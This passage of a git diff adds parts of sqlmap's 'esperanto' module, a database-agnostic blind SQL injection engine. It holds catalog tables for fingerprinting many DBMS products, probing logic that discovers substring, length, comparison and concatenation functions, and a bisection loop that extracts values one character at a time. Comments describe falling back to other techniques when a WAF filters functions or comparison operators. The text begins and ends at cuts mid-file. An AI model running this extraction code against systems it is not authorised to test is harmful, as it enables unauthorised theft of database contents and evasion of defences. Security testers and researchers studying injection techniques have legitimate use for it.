"USERNAME()", "currentUser()", + ), + # the CURRENT namespace used to scope table/column lookups. prefer the SCHEMA + # functions: on schema-based engines (h2/hsqldb/derby/pg) the catalog's scope + # column is the SCHEMA (PUBLIC/APP/public), NOT the database name (h2 DATABASE() + # is 'TEST' but its tables live in schema 'PUBLIC'). where db==schema (MySQL), + # SCHEMA() returns the same value, so nothing regresses. + "database": ( + "CURRENT_SCHEMA()", "current_schema()", "CURRENT_SCHEMA", "current_schema", + "SCHEMA_NAME()", "SCHEMA()", "CURRENT SCHEMA", "DATABASE()", "DB_NAME()", "currentDatabase()", + ), # SCHEMA_NAME() = SQL Server's schema (dbo), so tables scope+qualify as schema.table (e.g. "dbo"."users"); its DB_NAME() ('master') is NOT a valid 2-part schema prefix + "version": ( + "VERSION()", "version()", "@@VERSION", "SQLITE_VERSION()", + "DATABASE_VERSION()", "H2VERSION()", "CURRENT_VERSION()", + "(SELECT banner FROM v$version WHERE ROWNUM=1)", # Oracle + "(SELECT version FROM v$instance)", # Oracle alt + ), +} + + +# table catalogs: (probe-name, family, {kind: (name_col, source, filter)}). the first +# whose COUNT(*) succeeds both enables enumeration and fingerprints the DBMS family +_CATALOGS = ( + ("sqlite_master", "SQLite", + {"table": ("tbl_name", "sqlite_master", "type='table'")}), + ("SYS.ALL_TABLES", "Oracle", # exclude recyclebin objects (dropped tables linger as + {"table": ("TABLE_NAME", "SYS.ALL_TABLES", "TABLE_NAME NOT LIKE 'BIN$%'"), # BIN$... in ALL_TABLES) - idea from SchemaCrawler + "schema": ("OWNER", "SYS.ALL_TABLES", None)}), + ("sys.summits", "CrateDB", # CrateDB signature table (mountain summits); MUST precede + {"table": ("table_name", "information_schema.tables", None), # pg_catalog (CrateDB is PG-wire -> was mis-ID'd PostgreSQL + collided with its system `users`) + "schema": ("table_schema", "information_schema.tables", None)}), + ("pg_catalog.pg_tables", "PostgreSQL-family", + {"table": ("tablename", "pg_catalog.pg_tables", None), + "schema": ("schemaname", "pg_catalog.pg_tables", None)}), + ("master..sysdatabases", "MSSQL/Sybase", + {"database": ("name", "master..sysdatabases", None), + "schema": ("name", "sys.schemas", None), + "table": ("name", "sys.tables", None)}), + ("RDB$RELATIONS", "Firebird", + {"table": ("TRIM(RDB$RELATION_NAME)", "RDB$RELATIONS", "RDB$SYSTEM_FLAG=0")}), # user tables only; TRIM the CHAR(63) padding + ("syscat.tables", "IBM DB2", + {"table": ("tabname", "syscat.tables", None)}), + ("sys._tables", "MonetDB", # MonetDB-unique (underscore); MUST precede SYS.OBJECTS, + {"table": ("name", "sys._tables", "system=false")}), # which MonetDB ALSO has -> was mis-ID'd as SAP HANA + ("SYS.OBJECTS", "SAP HANA", + {"table": ("OBJECT_NAME", "SYS.OBJECTS", "OBJECT_TYPE='TABLE'")}), + ("SYS.SYSTABLES", "Apache Derby", + {"table": ("TABLENAME", "SYS.SYSTABLES", "TABLETYPE='T'")}), # Derby native catalog (user tables) + ("SYSIBM.SYSTABLES", "DB2/Derby", + {"table": ("NAME", "SYSIBM.SYSTABLES", None)}), + ("db_class", "CUBRID", # CUBRID-unique catalog (object-oriented heritage); + {"table": ("class_name", "db_class", "is_system_class='NO'")}), # else it matched nothing -> brute-forced blindly + went unnamed + ("systables", "Informix", # bare `systables` is Informix-specific (others are SYS./SYSIBM.-qualified); + {"table": ("tabname", "systables", "tabid>=100 AND tabtype='T'")}), # tabid>=100 = user objects, tabtype='T' = base tables + ("system.tables", "ClickHouse", # precede INFORMATION_SCHEMA (CH has both); scope to the + {"table": ("name", "system.tables", "database=currentDatabase()")}), # current db so its own system.* tables (incl a `users`!) don't pollute + ("INFORMATION_SCHEMA.TABLES", "ANSI (MySQL/MSSQL/PG/...)", + {"table": ("table_name", "INFORMATION_SCHEMA.TABLES", None), + "schema": ("table_schema", "INFORMATION_SCHEMA.TABLES", None)}), +) + + +# per-catalog column enumeration: (name_col, source, filter) where filter has one %s +# for the (literal) table name; matched by the catalog chosen above +# (name_col, source, where-template-with-one-%s, ordinal_col); the 4th column is the +# catalog's declared column position, used to return columns in DEFINITION order (else +# they come out alphabetical); a wrong/absent one just degrades to alphabetical +_COLUMN_SPECS = { + "sqlite_master": ("name", "pragma_table_info(%s)", None, "cid"), + "SYS.ALL_TABLES": ("column_name", "SYS.ALL_TAB_COLUMNS", "table_name=%s", "COLUMN_ID", "OWNER"), # Oracle scopes by OWNER, not table_schema + "pg_catalog.pg_tables": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), + "sys.summits": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), # CrateDB (schema-scoped by columns()) + "master..sysdatabases": ("name", "syscolumns", "id=OBJECT_ID(%s)", "colid"), + "RDB$RELATIONS": ("TRIM(RDB$FIELD_NAME)", "RDB$RELATION_FIELDS", "RDB$RELATION_NAME=%s", "RDB$FIELD_POSITION"), # TRIM the CHAR padding + "syscat.tables": ("colname", "syscat.columns", "tabname=%s", "colno"), + "db_class": ("attr_name", "db_attribute", "class_name=%s", "def_order"), # CUBRID + "systables": ("colname", "syscolumns", "tabid=(SELECT tabid FROM systables WHERE tabname=%s)", "colno"), # Informix + "sys._tables": ("name", "sys._columns", "table_id=(SELECT id FROM sys._tables WHERE name=%s AND system=false)", "number"), # MonetDB + "system.tables": ("name", "system.columns", "table=%s AND database=currentDatabase()", "position"), # ClickHouse (scope to current db) + "SYS.OBJECTS": ("column_name", "SYS.TABLE_COLUMNS", "table_name=%s", "POSITION"), + "SYS.SYSTABLES": ("COLUMNNAME", "SYS.SYSCOLUMNS", "REFERENCEID=(SELECT TABLEID FROM SYS.SYSTABLES WHERE TABLENAME=%s)", "COLUMNNUMBER"), + "SYSIBM.SYSTABLES": ("COLUMNNAME", "SYSIBM.SYSCOLUMNS", "TBNAME=%s", "COLNO"), + "INFORMATION_SCHEMA.TABLES": ("column_name", "INFORMATION_SCHEMA.COLUMNS", "table_name=%s", "ordinal_position"), +} + + +# pattern-match floor operators: (op, multi-char wildcard, single-char wildcard); GLOB +# (case-sensitive, literal '_') is preferred over LIKE +_PREFIX = ( + ("GLOB", "*", "?"), # SQLite: case-SENSITIVE, and '_' is literal (preferred) + ("LIKE", "%", "_"), # near-universal core SQL (often case-insensitive) + ("SIMILAR TO", "%", "_"), # SQL:2003 (PostgreSQL/H2/HSQLDB/Vertica): last-resort floor when LIKE+GLOB are both filtered; SAME %/_ wildcards as LIKE but its other regex metachars need escaping (see _SIMILAR_META) +) + + +# characters SIMILAR TO treats as regex metacharacters (beyond the %/_ wildcards): a +# literal one in the extracted value must be backslash-escaped or the pattern mismatches +_SIMILAR_META = frozenset("%_|*+?(){}[].\\^$") + + +# identifier quoting styles: (open, close); probed against a known-present table +_IDENT_QUOTE = ( + ('"', '"'), # ANSI: PostgreSQL/Oracle/SQLite/DB2/Firebird/HANA/Snowflake/... + ('`', '`'), # MySQL/MariaDB/TiDB + ('[', ']'), # SQL Server/Access/Sybase +) + + +# primary/unique key lookup per catalog: (source, table_col, name_col, constraint_filter); +# the preferred row-ordering key for dump() +# ANSI INFORMATION_SCHEMA key lookup, shared by every catalog whose engine also exposes +# it (MSSQL/Sybase are detected via master..sysdatabases but DO have INFORMATION_SCHEMA) +_ANSI_KEY_SPEC = ( + "INFORMATION_SCHEMA.KEY_COLUMN_USAGE", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS " + "WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))") + +_KEY_SPECS = { + "INFORMATION_SCHEMA.TABLES": _ANSI_KEY_SPEC, + "master..sysdatabases": _ANSI_KEY_SPEC, # MSSQL/Sybase: rowid-less, so a PK keyset is the clean ordered walk + "pg_catalog.pg_tables": ( + "information_schema.key_column_usage", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM information_schema.table_constraints " + "WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))"), + "SYS.ALL_TABLES": ( + "SYS.ALL_CONS_COLUMNS", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM SYS.ALL_CONSTRAINTS " + "WHERE constraint_type IN ('P','U'))"), +} + + +# physical row-id pseudo-columns: (name, expr, unit); fallback row-ordering for dump() +_ROWID = ( + ("rowid", "ROWID", "int"), # SQLite (integer); Oracle (opaque string) - unit re-measured + ("_ROWID_", "_ROWID_", "int"), # SQLite alias + ("rowid_oracle", "ROWID", "text"), # Oracle pseudo-column (opaque, orderable) + ("ctid", "ctid", "text"), # PostgreSQL tuple id (page,tuple): MIN-aggregatable + orderable, so a PK-less table's exact-duplicate rows survive the dump instead of collapsing + ("rrn", "RRN(%s)", "int"), # IBM Db2 relative record number +) + + +# row-ids whose comparison bound must be a QUOTED literal, not a CHR()||... build: their +# type (e.g. PostgreSQL 'tid') coerces from an unknown-typed literal ('(0,1)') but NOT +# from a text-typed concatenation, so ctid=CHR(40)||... errors while ctid='(0,1)' works +_ROWID_LITBOUND = frozenset(("ctid",)) + + +# printable ASCII (0x20-0x7E): the equality/ordinal char-scan alphabet +_PRINTABLE = "".join(chr(_) for _ in range(32, 127)) + + +# _PRINTABLE sorted by code point (for ordinal/collation bisection) +_PRINTABLE_SORTED = sorted(_PRINTABLE) + + +# English-frequency-ordered charset (common letters first) so the equality scan needs +# fewer probes on real text; completed with any remaining printable chars below +_FREQ_ORDER = ("etaoinshrdlcumwfgypbvkjxqz" + "0123456789_ .-,ETAOINSHRDLCUMWFGYPBVKJXQZ") +_FREQ_ORDER += "".join(c for c in _PRINTABLE if c not in _FREQ_ORDER) + + +# highest Unicode code point: the upper bound for code-mode bisection +_UNICODE_MAX = 0x10FFFF + + +# U+FFFD REPLACEMENT CHARACTER: the explicit "could not recover this char" marker +# (extraction emits it instead of ever silently substituting/dropping a character) +_REPL = u"\uFFFD" + + +# py2/py3 shim: integer code point -> single char +try: + _unichr = unichr # py2 +except NameError: + _unichr = chr # py3 + + +def _native(s): + # embed a literal as the native str type: on py2 a unicode value is encoded to + # utf-8 bytes so the byte-string SQL templates ('{expr}'.format(...)) don't force + # an ascii encode of non-ASCII data; on py3 str is already unicode-clean. + if str is bytes and isinstance(s, unicode): # py2 only (unicode unresolved on py3) + return s.encode("utf-8") + return s + + +__all__ = [_n for _n in list(globals()) if not _n.startswith('__') and _n != 'binascii'] diff --git a/extra/esperanto/discovery.py b/extra/esperanto/discovery.py new file mode 100644 index 00000000000..7463526afd9 --- /dev/null +++ b/extra/esperanto/discovery.py @@ -0,0 +1,467 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import * +from .records import * + + +class _Discovery(object): + """_Discovery + + probe the target to build the Dialect; populates self.dialect, never extracts data.""" + + def discover(self): + with self._probePhase(): + return self._discover() + + def _discover(self): + if not self._sanity(): + raise RuntimeError("oracle does not behave (1=1 true / 1=2 false failed)") + try: + self._discoverSubstring() + except RuntimeError: + # MAX-CONSTRAINT path: every substring fn is blacklisted. fall back to a + # pure pattern-match extractor (LIKE/GLOB) that needs no SUBSTR/LENGTH/ + # code/hex fn. + if self._fallbackPrefix(): + return self.dialect + raise + try: + self._discoverLength() + except RuntimeError: + # no length fn - derive length from the substring's end behavior, provided + # that end is observable (empty/NULL). one more laddered capability, so a + # backend with substring but no CHAR_LENGTH/LENGTH/LEN still extracts. + # if the end isn't observable (e.g. LEFT/RIGHT), drop to the pattern floor. + if self.dialect.substring.get("beyond_end") not in ("empty", "null-or-error"): + if self._fallbackPrefix(): + return self.dialect + raise + self.dialect.notes.append("no length fn; length derived from substring end") + self._discoverBytelen() + self._discoverConcat() + self._fixupLength() + self._discoverTextcast() + self._discoverCoalesce() + self._discoverCompare() + self._discoverComparator() + self._discoverCharfrom() + self._discoverDual() + self._discoverIdentity() + self._discoverCatalog() + self._checkCompat() + self._discovered = True + return self.dialect + + def _fallbackPrefix(self): + # pure LIKE/GLOB pattern-match floor: usable when there is no workable + # substring+length combo (substring absent, or present but unmeasurable). + # only the pattern-INDEPENDENT capabilities (charfrom/dual/catalog use no + # SUBSTR) are discovered; concat/compare/etc. stay None. + if not self._discoverPrefix(): + return False + self.dialect.substring = None # route retrieval to the pattern-match path + self.dialect.length = None + self.dialect.compare = "like" + self._discoverCharfrom() + self._discoverDual() + self._discoverCatalog() + self._discovered = True + return True + + def _discoverPrefix(self): + # LIKE/GLOB pattern match: 'sqlmap' 'sq' true, 'zz' false. + # also measure case-sensitivity ('a' 'A'). + for op, multi, single in _PREFIX: + if self._ask("('sqlmap') %s 'sq%s'" % (op, multi)) and \ + not self._ask("('sqlmap') %s 'zz%s'" % (op, multi)): + ci = self._ask("('a') %s 'A'" % op) + self.dialect.prefix = Cap(op, "%s", multi=multi, single=single, case_insensitive=ci) + return op + return None + + def identify(self): + """Fuse catalog family + required dual-table + version banner (+ behavioral + tells) into a best-guess product with an evidence trail. Run after + discover(). This is the CTF step: name the abomination on the other end.""" + d = self.dialect + if not self._discovered: + self.discover() + ev = [] + if d.catalog: + ev.append(("catalog = %s" % d.catalog, d.family)) + if d.dual and d.dual[0] != "bare": + ev.append(("bare SELECT needs FROM %s" % d.dual[0], _DUAL_IMPLIES.get(d.dual[0], "?"))) + product = None + # best-effort naming: on a permission/charset wall a probe may be undecided; + # degrade to whatever evidence was gathered rather than crash the verdict + try: + # cheap behavioral tell: || is logical OR -> MySQL family (one probe, no banner) + if d.concat and d.concat[0] != "pipes" and self._ask("(%s)=1" % _CONCAT[0][1].format(a="1", b="1")): + ev.append(("|| is logical OR (not concat)", "MySQL family")) + product = "MySQL" + # the version banner is the EXPENSIVE part (blind-reading a long string), so + # it is paid for ONLY when the catalog family can't name the product on its + # own - i.e. the shared INFORMATION_SCHEMA / unknown-catalog case. A specific + # catalog (SQLite/Oracle/PostgreSQL/MSSQL/...) names the product for free, and + # --banner reads the full version explicitly via banner(). + if product is None and (not d.family or "ANSI" in d.family): + val, implied = self._probeBanner() + if val: + ev.append(("banner", val)) + product = self._nameFromBanner(val) or implied + if product is None and self._hasChars("@@version_comment"): + comment = self.extract("@@version_comment", limit=64) + if comment: + ev.append(("@@version_comment", comment)) + product = self._nameFromBanner(comment) + except OracleUndecided: + ev.append(("product identification", "stopped (oracle undecided - permission/charset wall)")) + + d.product = product or d.family + d.evidence = ev + return {"product": d.product, "version": d.version, "family": d.family, + "dual": d.dual[0] if d.dual else None, "compare": d.compare, + "evidence": ev} + + def _probeBanner(self): + # blind-read the version string (expensive - a long string over the oracle). + # caches on the dialect; returns (version, implied_product) - some exprs imply a + # product just by existing (e.g. H2VERSION() -> H2) + for _label, expr, prod, implies in _BANNERS: + if self._hasChars(expr): + val = self.extract(expr, limit=96) + if val: + self.dialect.version = val + return val, (prod if implies else None) + return None, None + + def banner(self): + """The --banner action: the full version string, read on demand ONLY. The + fingerprint never triggers this - naming the product (identify) is cheap and + does not need the banner unless the catalog family is ambiguous.""" + if not self._discovered: + self.discover() + if self.dialect.version is None: + try: + self._probeBanner() + except OracleUndecided: + pass + return self.dialect.version + + @staticmethod + def _nameFromBanner(text): + low = text.lower() + for kw in _BANNER_KEYWORDS: + if kw.lower() in low: + return kw + return None + + def _discoverSubstring(self): + for name, tmpl in _SUBSTRING: + g = lambda e, p, ln: tmpl.format(expr=e, pos=p, len=ln) + base = None + if self._ask("%s='q'" % g("'sqlmap'", 2, 1)) and not self._ask("%s='z'" % g("'sqlmap'", 2, 1)): + base = 1 + elif self._ask("%s='q'" % g("'sqlmap'", 1, 1)) and self._ask("%s='s'" % g("'sqlmap'", 0, 1)): + base = 0 + if base is None: + continue + self.dialect.substring = Cap(name, tmpl, index_base=base) + # base detection above CONFIRMS the substring fn works; the property + # measurements below are best-effort and MUST NOT discard it - a probe the + # oracle can't decide leaves the property at a safe default, never aborts. + props = self.dialect.substring.props + try: + props["beyond_end"] = self._edgeBehavior(self._sub("'ABCDE'", 6, 1)) + props["zero_length"] = self._edgeBehavior(self._sub("'ABCDE'", 1, 0)) + props["unit"] = self._substringUnit() + except OracleUndecided: + pass + props.setdefault("beyond_end", "unknown") + props.setdefault("zero_length", "unknown") + props.setdefault("unit", "unknown") + return name + self.dialect.substring = None + raise RuntimeError("no working substring function found") + + def _codeCharTmpl(self): + # a code->char template (CHAR/CHR/NCHAR), probed ASCII-only and cached. lets + # the unicode PROPERTY probes build a multibyte test char server-side instead + # of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers. + if self._codeTmpl is None: + self._codeTmpl = False + for _, tmpl in _CHARFROM: + if self._ask("%s='a'" % tmpl.format(code=97)) and not self._ask("%s='b'" % tmpl.format(code=97)): + self._codeTmpl = tmpl + break + return self._codeTmpl or None + + def _substringUnit(self): + # char vs byte, ASCII-only + self-referential: SUBSTR(,1,1) returns the + # whole char (== ) if char-based, or a partial byte (!= ) if byte-based. + # is a multibyte codepoint built from its numeric code (no raw bytes sent). + cf = self._codeCharTmpl() + if not cf: + return "unknown" + mb = cf.format(code=0x20AC) # U+20AC (multibyte in UTF-8) + if self._ask("%s=%s" % (self._sub(mb, 1, 1), mb)): + return "characters" + return "bytes-or-unknown" + + def _edgeBehavior(self, expr): + if self._ask("%s=''" % expr): + return "empty" + if not self._ask("%s IS NOT NULL" % expr): + return "null-or-error" + return "other" + + def _discoverLength(self): + # prefer a CHARACTER-count fn (pass 1); fall back to any working fn (pass 2) + # so length stays in the same unit as the char-indexed substring + for prefer_chars in (True, False): + for name, tmpl in _LENGTH: + f = lambda s: tmpl.format(expr=s) + if not (self._ask("%s=1" % f("'A'")) and self._ask("%s=2" % f("'AB'"))): + continue + try: + unit = self._lengthUnit(f) + except OracleUndecided: + unit = "unknown" + if prefer_chars and unit != "characters": + continue + trailing = self._ask("%s=2" % f("'A '")) # preserves trailing space? + empty_null = not self._ask("(%s) IS NOT NULL" % f("''")) # LENGTH('') errors/NULL? + self.dialect.length = Cap(name, tmpl, unit=unit, trailing=trailing, + empty_is_null=empty_null) + return name + self.dialect.length = None + raise RuntimeError("no working length function found") + + def _lengthUnit(self, f): + # ASCII-only: measure the length of a multibyte char built from its code. + # 1 => character-counting, >=2 => byte-counting. no raw non-ASCII on the wire. + cf = self._codeCharTmpl() + if not cf: + return "unknown" + mb = cf.format(code=0x20AC) + if self._ask("%s=1" % f(mb)): + return "characters" + if self._ask("%s>=2" % f(mb)): + return "bytes" + return "unknown" + + def _fixupLength(self): + # a length fn that trims trailing spaces (SQL Server/Sybase LEN) truncates + # any value ending in spaces; rebuild it as LEN(x||'.')-1 with the concat. + L = self.dialect.length + if not L or L.get("trailing"): + return + if self.dialect.concat: + joined = self.dialect.concat[1].format(a="({expr})", b="'.'") + props = dict(L.props, trailing=True) + self.dialect.length = Cap(L.name + "+dot", "(%s)-1" % L[1].format(expr=joined), **props) + self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name) + else: + self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it") + + def _checkCompat(self): + # substring positions and the length count must be in the SAME unit, else + # the per-position walk desyncs on multibyte data + s, ln = self.dialect.substring, self.dialect.length + if s and ln: + su, lu = s.get("unit"), ln.get("unit") + if su == "characters" and lu == "bytes": + self.dialect.notes.append("UNIT MISMATCH: char-indexed substring vs byte-count length - multibyte values may desync") + + def _discoverBytelen(self): + # a *byte*-length fn - distinguished from char length with a multibyte char + # (a char-length fn would report 1). the char is built from its code (ASCII on + # the wire); if it can't be built, the atlas name is trusted on the ASCII check. + cf = self._codeCharTmpl() + mb = cf.format(code=0x20AC) if cf else None + for name, tmpl in _BYTELEN: + try: + if not self._ask("%s=2" % tmpl.format(expr="'AB'")): + continue + if mb and not self._ask("%s>=2" % tmpl.format(expr=mb)): + continue # counts chars, not bytes + except OracleUndecided: + continue + self.dialect.bytelen = Cap(name, tmpl) + return name + + def _discoverTextcast(self): + # a cast that stringifies a number: substr(cast(123),1,1)='1' and the + # negative sign survives (substr(cast(-42),1,1)='-') + for name, tmpl in _TEXTCAST: + c123, cneg = tmpl.format(expr="123"), tmpl.format(expr="-42") + if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \ + self._lenEquals(c123, 3) and \ + self._ask("%s='-'" % self._sub(cneg, 1, 1)): + self.dialect.textcast = Cap(name, tmpl) + return name + + def _discoverCoalesce(self): + # COALESCE(NULL,'X') -> 'X'. whether empty stays empty is a *measured* + # property, not a requirement (on Oracle '' IS NULL, so it becomes 'X'). + for name, tmpl in _COALESCE: + g = lambda e, fb: tmpl.format(expr=e, fallback=fb) + if self._ask("%s='X'" % self._sub(g("NULL", "'X'"), 1, 1)): + empty_distinct = self._lenEquals(g("''", "'X'"), 0) + self.dialect.coalesce = Cap(name, tmpl, empty_distinct=empty_distinct) + return name + + def _discoverDual(self): + # the tableless-SELECT FROM suffix; a non-bare match is a family fingerprint + for name, frm in _DUAL: + if self._ask("(SELECT 1%s)=1" % frm): + self.dialect.dual = Cap(name, frm) + return name + + def _discoverConcat(self): + # test via substring of the joined result to dodge numeric-coercion + # false positives (MySQL 'a'+'b' -> 0, '||' -> logical OR, etc.) + for name, tmpl in _CONCAT: + joined = tmpl.format(a="'sq'", b="'lm'") + if self._ask("%s='l'" % self._sub(joined, 3, 1)) and \ + self._lenEquals(joined, 4): + self.dialect.concat = Cap(name, tmpl) + # function-style concat (CONCAT(a,b)) may be VARIADIC - a flat + # CONCAT(a,b,c,...) beats deeply nested CONCAT(CONCAT(...)) (smaller + # payload, less WAF/URL surface). operators (||/+) split() to "". + func = tmpl.split("(")[0] + if func: + try: + three = "%s('s','q','l')" % func + if self._ask("%s='q'" % self._sub(three, 2, 1)) and self._lenEquals(three, 3): + self.dialect.concat.props["variadic"] = func + except OracleUndecided: + pass + return name + self.dialect.concat = None + self.dialect.notes.append("no concatenation operator discovered") + + def _discoverCompare(self): + # 1) numeric code function - fast, unambiguous bisection + one = self._sub("'sqlmap'", 2, 1) # -> 'q' (code 113 / 0x71) + for name, tmpl in _CHARCODE: + code = tmpl.format(expr=one) + if self._ask("%s=113" % code) and not self._ask("%s=112" % code): + self.dialect.charcode = Cap(name, tmpl, semantics=self._charcodeSemantics(tmpl)) + self.dialect.compare = "code" + self.dialect.ordered = True + return "code:%s" % name + self.dialect.charcode = None + + # 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a + # code function (one compare per bisection) and recovers case under CI / + # locale collations. tried before hex because it's cheaper. + for name, tmpl in _BINWRAP: + w = lambda s: tmpl.format(x=s) + if self._ask("%s>%s" % (w("'a'"), w("'A'"))) and \ + not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and \ + not self._ask("%s=%s" % (w("'a'"), w("'A'"))): + self.dialect.binwrap = Cap(name, tmpl) + self.dialect.compare = "collation" + self.dialect.ordered = True + return "collation:%s" % name + + # 3) hex/byte function - collation-independent, recovers letter case even + # under case-insensitive collations (the key fallback when code fns are + # filtered by a WAF) + for name, tmpl in _HEXFN: + enc = self._hexEncoding(tmpl) + if enc: + self.dialect.hexfn = Cap(name, tmpl, encoding=enc) + self.dialect.compare = "hex" + self.dialect.ordered = True + return "hex:%s" % name + + # 4) direct string comparison - only trustworthy where the collation follows + # byte order (probe the ASCII case/range invariants first) + byteOrdered = (self._ask("'a'>'A'") and self._ask("'Z'<'a'") and self._ask("'0'<'A'")) + if byteOrdered and self._ask("%s>'p'" % one) and not self._ask("%s>'r'" % one): + self.dialect.compare = "ordinal" + self.dialect.ordered = True + return "ordinal" + + # 5) equality scan - case-correct only under a case-sensitive collation + if not self._ask("'a'='A'"): + self.dialect.compare = "equality" + return "equality" + + # 6) last resort: case-insensitive equality. letters recovered, CASE LOST + # (no code/hex function and a CI collation - a genuine hard limit) + self.dialect.compare = "equality-ci" + self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable") + return "equality-ci" + + def _discoverComparator(self): + # how to express "value > threshold" for bisection. A WAF that strips '<'/'>' + # (very common) would otherwise leave code-mode picking '>' and silently + # failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall + # to order-free IN() subset bisection which needs only '=' membership. + try: + if self._ask("2>1") and not self._ask("2>3"): + self._comparator = "gt" + elif self._ask("2 BETWEEN 2 AND 3") and not self._ask("5 BETWEEN 2 AND 3"): + self._comparator = "between" + self.dialect.notes.append("'>' unusable; bisecting via BETWEEN") + else: + self._comparator = "membership" + self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection") + self._inOk = self._ask("2 IN (2,3)") and not self._ask("9 IN (2,3)") + except OracleUndecided: + pass # keep the safe defaults (gt / IN-ok) + + def _charcodeSemantics(self, tmpl): + # ASCII-only ROUND-TRIP: build a char from its code, then read the code back. + # code(char(N))==N means extract-then-rebuild is faithful for N. no raw + # non-ASCII byte ever crosses the URL/app/DBMS encoding layers. + cf = self._codeCharTmpl() + if not cf: + return "unknown" + code = lambda n: tmpl.format(expr=cf.format(code=n)) + try: + if not self._ask("%s=233" % code(0x00E9)): # U+00E9 round-trips (code(charfrom(0xE9))==0xE9) + return "unknown" + if not self._ask("%s=8364" % code(0x20AC)): # U+20AC does NOT (single-byte codepage can't represent it) + return "codepage" # single-byte codepage only + # a supplementary char proves full codepoint vs a UTF-16 code-unit fn + # (SQL Server UNICODE() returns the leading surrogate for U+1F642). + if self._ask("%s=128578" % code(0x1F642)): + return "codepoint" + if self._ask("%s=55357" % code(0x1F642)): # high surrogate + return "utf16_unit" + return "bmp_codepoint" # verified on BMP only + except OracleUndecided: + return "unknown" + + def _discoverCharfrom(self): + for name, tmpl in _CHARFROM: + if self._ask("%s='a'" % tmpl.format(code=97)) and \ + not self._ask("%s='b'" % tmpl.format(code=97)): + self.dialect.charfrom = Cap(name, tmpl) + return name + self.dialect.charfrom = None + + def _discoverIdentity(self): + for kind, candidates in sorted(_IDENTITY.items()): + for expr in candidates: + # a valid identity expression has non-zero length; invalid -> error -> false + if self._hasChars(expr): + self.dialect.identity[kind] = expr + break + + def _discoverCatalog(self): + for table, family, enum in _CATALOGS: + if self._exists(table): + self.dialect.catalog = table + self.dialect.family = family + self.dialect.catalogEnum = enum + return table diff --git a/extra/esperanto/engine.py b/extra/esperanto/engine.py new file mode 100644 index 00000000000..7179529dc95 --- /dev/null +++ b/extra/esperanto/engine.py @@ -0,0 +1,107 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import * +from .records import * +from .oracle import _OracleCore +from .discovery import _Discovery +from .extraction import _Extraction +from .enumeration import _Enumeration + + +class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration): + """DBMS-agnostic blind extractor. Behaviour lives in four mixins by concern + (oracle / discovery / extraction / enumeration); this class only holds + construction + the query counter.""" + + def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1, + maxbytes=None, max_queries=None): + """oracle: callable(condition_str) -> bool. + quorum>1 turns on majority voting (2*quorum-1 samples) so a noisy or + intermittently-erroring oracle can't flip a single probe and corrupt a + result; retries re-attempts a raised call before it counts as an error. + maxlen caps text characters; maxbytes separately caps byte/hex recovery + (default 4*maxlen); max_queries is an optional hard oracle-call ceiling.""" + if not callable(oracle): + raise TypeError("oracle must be callable") + self.oracle = oracle + self.verbose = verbose + self.maxlen = maxlen + self.maxbytes = maxlen * 4 if maxbytes is None else maxbytes + self.retries = retries + self.quorum = max(1, quorum) + self.max_queries = max_queries + self.dialect = Dialect() + self._queries = 0 + self._errors = 0 + self._hexProbed = False + self._hexOrdered = None + self._backslashEscape = None + self._codeTmpl = None + self._comparator = "gt" # ordered-compare op: "gt" / "between" / "membership" + self._inOk = True # IN(...) usable (order-free subset bisection) + self._lastTruncated = False + self._discovered = False + self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an + # undecidable probe there = "rung unusable" -> False; elsewhere (reading + # committed data) an undecidable probe stays undecided so it degrades loudly + self._progress = None # optional host callback(str) for live feedback + + @property + def queryCount(self): + return self._queries + + +def hostExtract(oracle, strategy, expr, maxlen=4096): + """Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle. + + This is the proof that the strategy is a sufficient hand-off: it reproduces + char-by-char extraction with zero dependency on Esperanto's own retrieval code - + exactly what sqlmap's `bisection()`/`queryOutputLength()` would do instead, but in + ~30 lines. Covers the char-comparison modes (code / collation / ordinal / + equality); hex mode is reachable the same way via strategy.renderHex().""" + ask = lambda cond: bool(oracle(cond)) + L = strategy.renderLength(expr) + if not ask("%s>=0" % L): + return None + if ask("%s=0" % L): + return "" + lo, hi = 1, min(8, maxlen) + while hi < maxlen and ask("%s>%d" % (L, hi)): + lo, hi = hi + 1, min(hi * 2, maxlen) + while lo < hi: + mid = (lo + hi) // 2 + lo, hi = (mid + 1, hi) if ask("%s>%d" % (L, mid)) else (lo, mid) + length = lo + + def read(pos): + mode = strategy.compare_mode + if mode == "code": + code = strategy.renderCode(expr, pos) + top = 0x10FFFF + for cap in (127, 255, 0xFFFF, 0x10FFFF): + if not ask("%s>%d" % (code, cap)): + top = cap + break + a, b = 0, top + while a < b: + m = (a + b) // 2 + a, b = (m + 1, b) if ask("%s>%d" % (code, m)) else (a, m) + return _unichr(a) + if mode in ("collation", "ordinal"): + cs = _PRINTABLE_SORTED + a, b = 0, len(cs) - 1 + while a < b: + m = (a + b) // 2 + a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m) + return cs[a] + for ch in _FREQ_ORDER: # equality scan + if ask(strategy.renderCharCmp(expr, pos, ch, "=")): + return ch + return _REPL + + return "".join(read(i) for i in range(1, length + 1)) diff --git a/extra/esperanto/enumeration.py b/extra/esperanto/enumeration.py new file mode 100644 index 00000000000..2a0e9274fb9 --- 